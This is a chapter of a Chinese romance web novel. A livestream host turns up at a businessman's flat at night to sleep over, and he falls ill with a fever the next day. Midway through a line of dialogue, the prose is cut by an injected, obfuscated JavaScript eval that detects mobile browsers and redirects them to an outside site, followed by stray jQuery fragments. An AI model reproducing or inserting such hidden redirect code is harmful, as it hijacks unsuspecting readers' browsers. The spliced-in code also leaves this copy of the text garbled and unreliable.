9.过夜
作品:《共你一程》 许妍的大蒜片消泡术不知是什么原理,也可能人本身的自愈能力就是那么强,总归到了第二日,巴朵的手指就恢复了光洁,几乎看不出水泡的痕迹。
但用拇指去按捏那处的时候,还是有点异样的不适感,没完全好。
久违的直播,她一露脸就受到了热烈的追捧,可能也有阴阳怪气骂人的,巴朵看不见,因为更多的粉丝是冲着超级羊毛来的。
观看人数一直在暴涨,销售额也突破新高。
巴朵挺高兴,她说话风格一直就挺有能量的,肺活量也好,直播三四个小时都不见疲累。
只是等到深夜下播,巴朵刚坐到休息室,就立马打开Mia递过来的氧气瓶大口吸氧,脑瓜子嗡嗡的,介绍最后那几件商品的时候她都不知道自己在说什么了。
巴朵跟Mia摆摆手,要她下次别接这么多品了,或者找火火谁的跟她拼盘,她小身板受不住。
刚才还打哈欠的Mia现在神采奕奕地跟她说着什么坑位费、佣金率,总之,都是能打动人心令她振奋的关键词。
巴朵感觉自己那一口气缓过来了,比了个大拇指,收回刚才的丧气话,“还能战斗五百年!”
工作彻底结束的时候已经快凌晨两点了。
写字楼的窗口却依旧有不少亮着灯,这栋楼里一半是做新媒体的,熬夜加班是常事,就快临近大促节点了,都在为销售额拼命呢。
巴朵刚走到大厅,忽然被个西装革履的中年男人拦下,男人自称是程总的司机,应老板吩咐来送巴朵回家。
巴朵脑子早都不转了,但也没傻到随便上陌生人的车,给程柯打了个电话,“你的司机?”
程柯:“嗯,上车吧。”
巴朵还以为是什么惊喜,比如拉开车门能看到999朵玫瑰,还有捧着玫瑰的男人。
没有,什么都没有,宽敞的轿车里干净整洁,只接她一人。
巴朵又摸出电话来,问程柯是什么意思。
程柯倒是坦然:“外婆看到你直播了,担心你这么晚还在工作不安全,让我去接你。”
巴朵百转千回地“哦”了一声,“那你怎么不听话呢,外婆明明说的是让、你、接。”
程柯:“我没空。”
巴朵:“都这么晚了,程老板忙什么呢,不会是佳人相伴,春宵苦短吧?”
“……”这探问一点都不高明,真有佳人的话,这个点了怎么会有闲工夫接她电话。程柯不理会她的问题,打算挂断了,“早点回家,早点休息。”
说完径自挂了电话。
怎么回事?这么没风度!
巴朵有些不满,感觉这次是程柯先来招惹的,就算真是被外婆吩咐的,他也不是完全不关心的样子……
巴朵灵机一动,动不太动。
不行,她真是太困太累了,像跑了个马拉松一样失去思考能力。
也不确定自己是出了个奇策还是昏招,她让司机把她送去程柯家。
司机明显是有些迟疑,正要给老板电话确认,巴朵就前倾扒着驾驶座的椅背撒娇:“哎呀~我想给他个惊喜嘛~”
司机是程柯在沪市这边的专职司机,跟在程柯身边不太久,被巴朵三言两语说服了,以为这是老板的小情人,直到把巴朵送进大厅,才给程柯发信息汇报工作完成。
程柯看到消息的时候刚洗完澡打算睡觉了。
消息和门铃声同时响起,他披了件睡衣匆忙去开门,不等巴朵开口,就冷声下了逐客令,“站着别动,我让老张送你回去。”
他已经在打电话,巴朵踮起脚抢了他手机挂断,“哎哟”了一声,“大半夜的,你别折腾那个大叔了。”
程柯挑眉:“你也知道,现在是半夜。”
巴朵对他眨眨眼睛,“就是要月黑风高才能干坏事呀~”
她把程柯推开,侧身进了门,很自然地打开鞋柜给自己找拖鞋,顺便扫了一眼确认里面并没有女式鞋子。
换了鞋,巴朵穿过玄关站在客厅,依旧是四下打量有没有别人,嗯,偌大的平层,没有女主人,也没有保姆,大少爷一个人住呢。
程柯还在门口站着,大门已经自动闭合,电子锁发出短促的音乐声。
他对巴朵这犹如“查岗”一样的举止有些不满,也有些困惑,不知道她想干嘛。
也就迟疑了这片刻,巴朵已经把背包扔到沙发上,问程柯要干净衣服,“我洗个澡。”
程柯:?
他想训斥她一句“轻浮”,但伤人的话怎么都说不出口,稀里糊涂地就拿了一套自己的运动衣裤递给她,又坐在客厅听了半小时浴室的水声,直到她素着一张小脸走出来。
她下播的时候就在公司简单卸过妆了,如今清水洗脸似乎洗得不够彻底,还有点带妆的感觉,但又很干净通透。
这不是重点。
重点是,“你要干什么?”
巴朵奇怪地看了眼程柯,“睡觉啊。”
她刚才已经看过几个房间了,“这间是客房对吧?我就睡这间咯~我晚上应该不用锁门吧?”
程柯:……
这都什么乱七八糟的,他就不该听外婆的去接她下班,这女人从不按常理出牌,这都不是顺竿爬了,这是直接把竿子做成登云梯。
巴朵打了两个大大的哈欠,径自进了客房去睡觉,倒真是信任他。
程柯压着心里那股奇怪的感觉,把客厅灯关了,也回卧室睡觉。
大概因为实在太晚了,俩人都没怎么辗转,隔着一间书房各自睡得昏沉。
往常巴朵如果下直播,是要睡到次日下午的,睡到天黑也不是没有过。
但今天睡在陌生环境里,听到点风吹草动她就醒了。
摸过手机看了眼,才七点多。
空气里好像有煎蛋的香气,巴朵一骨碌爬起来,拎着过分长的运动裤,像是拎着连衣裙的裙摆,小碎步跑了出去。
拉开门却没见到想象中帅哥做早餐的场景。
开放式的厨房里,做饭阿姨正在忙活,看到巴朵出来并没有露出太过惊讶的表情,也不好奇打探,只是抱歉地把折叠门都拉开,透明玻璃将厨房与客厅分隔开,不让厨房的声响和气味打扰她。
巴朵松开手,裤腿落下去,遮住脚背。
她疑惑地想找程柯,正好看到程柯从书房里走出来,手里还拿着张便签。
程柯见到她也挺诧异,没想到她这么早就起了。
既然碰上了本人,便签就没用了,他顺手把那张纸塞进裤子口袋里。
巴朵却眼尖手快,上前一步就伸手去掏。
“欸欸?”程柯后躲,躲不过去拉着她手腕不让她乱摸,“你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15935501|177158||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这像什么样子?”
巴朵:“不是写给我的嘛?写给我的就是我的啊,我拿自己的东西,有什么问题?”
她已经把手伸进他裤兜里了,抓着纸条以后怕他抢回去,跑远了才看的。
纸条上是他遒劲有力的钢笔字:“吃完饭,赶紧回家。”
怎么说呢,一种很冷漠的关心。
明明是很正常的内容,可程柯不明白为什么巴朵看完了纸条以后撅起了嘴。
不高兴了。
她爱高兴不高兴,程柯上午还有董事会要开,没时间跟她浪费。
他从衣帽间拿了西装穿上,沉默着从巴朵身边经过,走两步又停下脚,实在不理解:“你在气什么?”
巴朵:“起床气,没睡醒。”
程柯:“……那再去睡一会儿。”
巴朵:“哦。”
她好像还是不满意,但程柯要出发了,于是不再停顿,直接离开了家门。
可上了车,又忍不住想,她是否还在生气,气什么?
气自己写了纸条让她早点回家?
不然呢,这样不清不楚地跑来他住的地方,算怎么回事?
想到昨晚她的突然出现,程柯不由望向了司机老张,提点了几句关于雇主的人身安全和隐私保护的必要性。
他之前对老张还挺满意的,没想到看着忠厚的司机嘴这么松,不仅把人送到他楼下,连房间号都和盘托出。
老张见老板如此严肃,有些紧张后怕,连连保证以后绝不会把老板行踪透漏给任何人,“是我糊涂,还以为那位小姐是您家眷。”
程柯听这话,心里又有些不舒服,像是不愿意司机迁怒怨恨巴朵似的,于是补充了句,“她问,可以告诉她,但要先跟我说。”
老张这下真有些被绕糊涂了,只是透过后视镜看了老板一眼,先答应下来:“好的。”
-
上午的会议有些拖沓冗长,程柯看着两个不对盘的高管当面吵了起来,抬手敲敲桌板,建议他们出去打一架,打赢了的来告诉他最终决策。
他一向有礼,很少对员工说这么刻薄的话。
程柯没理会他们的争辩,发令散了会,回到办公室把领带解了,靠在转椅里揉太阳穴。
助理小赵跟进来,等着汇报工作,看到老板脸颊泛着不正常的红,不像是气的,像生病,“程总,您是不是发烧了?”
程柯这才反应过来一直的焦躁是为什么。
小赵要送程柯去医院,程柯摆手,让他去拿医药箱,测测体温。
人出去了,程柯在安静的空间里回想最近熬夜太多,一降温就中了招。
也可能是昨天某人带了病毒来他家,就说她没安好心。
他给家里阿姨打电话问巴朵离开没有,阿姨说姑娘还睡着呢。
程柯看了眼时间,中午,还睡呢。
又想,不会也是发烧,昏过去了吧?
小赵拿了耳温枪回来,一测,38度多。
他见程柯吃了退烧药,不怎么在意的样子,忍不住劝说:“您不想去医院的话,要不回家休息一下?”
程柯看了他一眼,把笔记本装进公文包里,“也行。”
说完提包站起来,要走了。
小赵傻眼。
老板今天怎么了,这么听劝?